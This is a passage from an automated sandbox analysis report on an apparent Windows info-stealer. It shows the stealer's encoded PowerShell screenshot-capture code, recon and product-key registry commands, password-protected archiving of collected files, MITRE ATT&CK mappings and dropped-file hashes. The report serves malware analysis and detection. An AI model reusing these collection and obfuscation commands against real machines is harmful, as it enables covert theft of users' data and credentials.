AIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1072
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kgsrol04\kgsrol04.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9863.tmp" "c:\Users\Admin\AppData\Local\Temp\kgsrol04\CSCC8AFED8D1A2486EB793469E6659980.TMP"
        6⤵
        
        PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI30522\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\Xogsp.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3308
  - - C:\Users\Admin\AppData\Local\Temp\_MEI30522\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI30522\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\Xogsp.zip" *
      4⤵
      Executes dropped EXE
      PID:4048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0c75cbb4fc2c7a4030b2d4bdd445e0d02bd4b5ee840ed25546e6ac22c2884250
MD5 1886780acbc3bf6c6ebc1399eca15e23
SHA1 6dfec48a33cebec15aa736fe782958adfa073631
SHA512 1100acd7753ea6c092c3c4ea340564e8d2d0b35609c82fe4b4f9d77a6848f84f8a8f4e2d67c29d3f104e715f06a1fd5fa9d800980d60f07bcb2643bd3327c01c
TLSH
T1E571EF313375B0E888163F072D281AC053BF4355EA94AF5CB698625EDE2741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 99580b64c125a266518c097813f9450c562dc02e22e00a67487016a62a539cbf
MD5 1be97cbbec24b41b4390c12a8a0293b0
SHA1 feca5ce42aaba6b330d2c9ea86081a69ea70e4f5
SHA512 d339dd86bbfe523bcd5616b530a23adb4cd6540d7e833a662c04ab29cf8c0d0577aad4be6e6f0aa6c3c324adc6fcb329cb2e3dc0fcf8fb5027a650e112d57a3a
TLSH
T1A9218627B3DC8A21CC86123A109D9C11767683C7809ECF9F6BC4D614A0BF9C8CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 40a96fe788c86bb87255fddc614cf851ca54961c707db01086fd8ac30a159873
MD5 e78000c6af32d9116983d1ca2aeacca4
SHA1 97cb3b1eae6784fcf421765cff55270d8887c9ea
SHA512 8da71272b9423361fdaa0599b8cb2ee783ae9eda5a62ef269ace291ed3964e365764bf3f2edfb45361d998761d23896e4b2b380b963364d0ddcf86ca1b059bf5
TLSH
T14C218627B3DC8A21CC86123A109DDC10767683C7809ECF9F6BC4D614A0BF9C8CB212A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 75a643522be7101cf3647d8d26fc4168d97a47c1701f45c755761d8473a6eda6
MD5 0dccc6215db089c55343c6a27006d7ed
SHA1 26cccb6bb4429276cfd2be239bf7da6b50d50047
SHA512 aa2567de7d23a4fc42f31dcb9b5b957a946e47e0c02bd5199841d8991cb87b62f601aafcbe660c7809b42c6c437caef764edba7e5f969a034c22cd953e68d799
TLSH
T1B0218627B3DC8A21CC86123A109D9C10767683C7809ECF9F6BC4D614A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d05ef3d6bb9a037297cdfbcbec2044ec0c7046f76b840f310f4f39a49b521e3e
MD5 36f414330fcc74217946cfbe378e450f
SHA1 009ba92e9d84544d15b785963c3b98f6c3392e47
SHA512 2462b7490d34f92bb0c7ad28d8809d5445b60afdbde567eaae3c9d0564829a2d9ac06d2ea27ae850a68cdca611d1a3886e7907ffcdef93ec1bdb6951de11579a
TLSH
T195216623B39C8921CC8A153A409DAC5032B693D741AEDE9FAFC4D604E17F588CB711D0
MD5 SHA1 SHA512 TLSH

Submit Download

RES9863.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9863.tmp
Size 1KB
SHA256 e745ccc544da8c50911f266315f0962bbd75a1dc11aa98ded975709cd7b592da
MD5 ce5528800877db538b20e4221acbf21d
SHA1 3850b6d45fcd16ec27a593a35e427270050a835c
SHA512 c34f911cfda21498543a64e2390447b13158602907385a0525851e1637cc1819c43174f53f5367e4f719f78ef9960ba0ab7786e6539c81856d6ad89440f46e64
TLSH
T1E0216A0583E8470FF0B75732A9FA473B9274FE54AF62636B8940522D2C51508EEA0A72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_bz2.pyd
Size 51KB
SHA256 f3b6866898dcc0edeb3bad6b935974f059cd2a9254603d1f766d892cb3bdb457
MD5 3ffba544fb6b6e9cd661e089101edf6c
SHA1 69650c3a744b47dbbe272daef561ef201298abc4
SHA512 1713a27861e56f258e0beff4651a0bfe05623f2175bb40204680d612c1686938dc7aa3676da9511a2685f37f1bbab7d0f427050c528247dec1d0e93be6a046ae
SSDEEP 1536:+grRnv1oCAhFJdAFJm0OnIp3V17yPs5i9EfIY+8i:HV+C/mhIp3V14V
TLSH
T18A33D0CB0AB48096D7635DB261B0E943FA35ABD3A410979630DD724E0E6B7D1A313369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_ctypes.pyd
Size 67KB
SHA256 f5c39d33d5e626f790e55846021017e8cb06a78315a9b0dcaec96875ea583bdc
MD5 dccfd9009cf8cdd62a2a2d0741a88a79
SHA1 112096a0a02b26c4ad57f47e028176c110815e99
SHA512 725762277f9cd4003f4bea6f6a19c3e51a9dd9f4d79c404e86423b1e02b67d281ba6b5d7e83b4d38d5db572571d845fe3c01a9420f28c112984275caeb24e700
SSDEEP 1536:IGsidR9UsG6C+QTu1a4Q+3JnzwjGBPLjyIpGPiWyPs5i90fIYHD:I/IPG6/85+Z8jGtLuIpGPi1S
TLSH
T1F063E0CE427D9191F7531630B2F4DC93FE385BD364621B6E30E991AA09AB3C2A707265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_decimal.pyd
Size 121KB
SHA256 38a4cade4f3436e278b0491a3bc257e3bf3f8bf0bb04269c18652c2819a9129f
MD5 9e2ea0a1a2a8d527fa9b1f7e8711c943
SHA1 da73c31ab00ca8780d25f5902ecb00c71eb66ad1
SHA512 5987d4acee8fdeae221a41673bbd825e5747c5265018acd73d0b1341130b5180307e5e74e6785e553f7cad27a9736baf48d7d8d921dee8f6155a917680b625bc
SSDEEP 3072:31znb/eZGXYiD6mRmJRCedq6pBWE88Ry940JW6HNoU6DMlnIpDqcxQe+n:ljb/2Goi5YDCe9+gRa/JhHN8D44xQe+
TLSH
T17EC301D758E95045F973A2319780EF57E47C2F830B528363694D92CB0FE7393AA491B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_hashlib.pyd
Size 38KB
SHA256 26d9d20a3c7bbc62b2a430e4df19bd83335b17cda45da4adcac6bc3e00c731f5
MD5 05c0cd12d66b1f2a14beb8a9a5eb4cdb
SHA1 e092c523de83ce281a410b89f9c421bbb66b1409
SHA512 7a4873d1b0d04bdd648a870411b2dc0ca1b1f667e895d097aab355039af95c64630a30639f4b56de79107c4e59a7fe802ed5d2a24dff758637852a7ea4b92245
SSDEEP 768:OFzCaLH2eWtTkvVE9k6p2vZ+5EApaBIpDIAOyPsSvPuBL2Ip4NTxf1ml9dHH7LM:0CHPp2vMuBIpDIAOyPs5i9nfIbHHnM
TLSH
T12C03AFC64638D012FBA3A9B172E0DDC2FE34A7A3545257BB30E9A2D51E633C0D727265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_lzma.pyd
Size 88KB
SHA256 4341f36a310038d57a789dc16ef7323c9016ed24c954d05f07b1a69ae3aed70d
MD5 e3f9d2a7cde2bfdb0d8fb2c578b6eac7
SHA1 7ed8f1465964d5f8c65949fe9851d2af9b702a99
SHA512 764a0721caea76977b5ade2b6b36fbaf5dbacc6049dfdb53f6135a8ffe169d31a66645bbf5b1b88def2551dd19ffa36112a8dfbcd83f29b001204c19d2bc372a
SSDEEP 1536:NbCORtk/GFJL/D1c0VkwjHnOFm9b/uko4J3b4ohwTpC3dIpI1ihyPs5i9OQfIY29:IORuGFt/HkG/G4J3b4GwTpCtIpI1iLx1
TLSH
T1FA9302DBC7F88063FE636D3071F5CA82793557EB622687A314DE71520E223C5A3A3265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_multiprocessing.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_multiprocessing.pyd
Size 29KB
SHA256 230acc00097ec245273794443b2ca7be26fe01b36347e051d3897f1c7210ec8f
MD5 9d6dcc594a48f569a60dd7564d76453d
SHA1 343f3a22a14c6659eb5f618c8700e4b48b25d63e
SHA512 81d879a17c97cae8127978e63ef4fc65e34d45779875da65250807f89d1609c644037ecce30d5ca28f3839411dc71ddb86944916f83f258e35d8458cd1954b29
SSDEEP 768:9RU8vsT7fRF4pFUxIp7tQSyPsSvPuBL2Ip4PxTxf1ml9dHk7LWB:9RU8U3GUxIp7tQSyPs5i9PjfIbHkns
TLSH
T1DAD2AED7063C9112EE63AEB193D4DEC6F9387B935849865B30E9529E0E633D1D316324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_queue.pyd
Size 28KB
SHA256 94c97f4d6e22c1de3c3f2fde590eed1b9a8968e0d094a5d68676ba48a7de6194
MD5 e515e43892aeadebb9520e1fddf8eed8
SHA1 9423659a1720aabdf10bae04ac427b355c990748
SHA512 e93127fd331f947960da280ba3de3b6994d3abcecfa692771a110a3bccec8e11ae3945eafd8aaf70ae4367aa1e647a149abb3c9a1b04ea8bfbe45b1f54a72d2d
SSDEEP 768:b2YI3si/fuHLEHTtpCPIpRUA3yPsSvPuBL2Ip4uTxf1mlRaXN61k:bpH/PIpRUA3yPs5i9ufIYNh
TLSH
T170D29ED64678C026FA32AE7162F4DD83FA357BD36810876730EDA1AA0E633D1D317265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI30522\_socket.pyd
Size 46KB
SHA256 b289c0795f859042c5d9c285d1344f294e1948c7974fe6cab4fbfef8f3dff483
MD5 a492b1eb2e3e773e2878ac0583106c71
SHA1 faaff400d02fa3d453a30fd9eb04b282efe49071
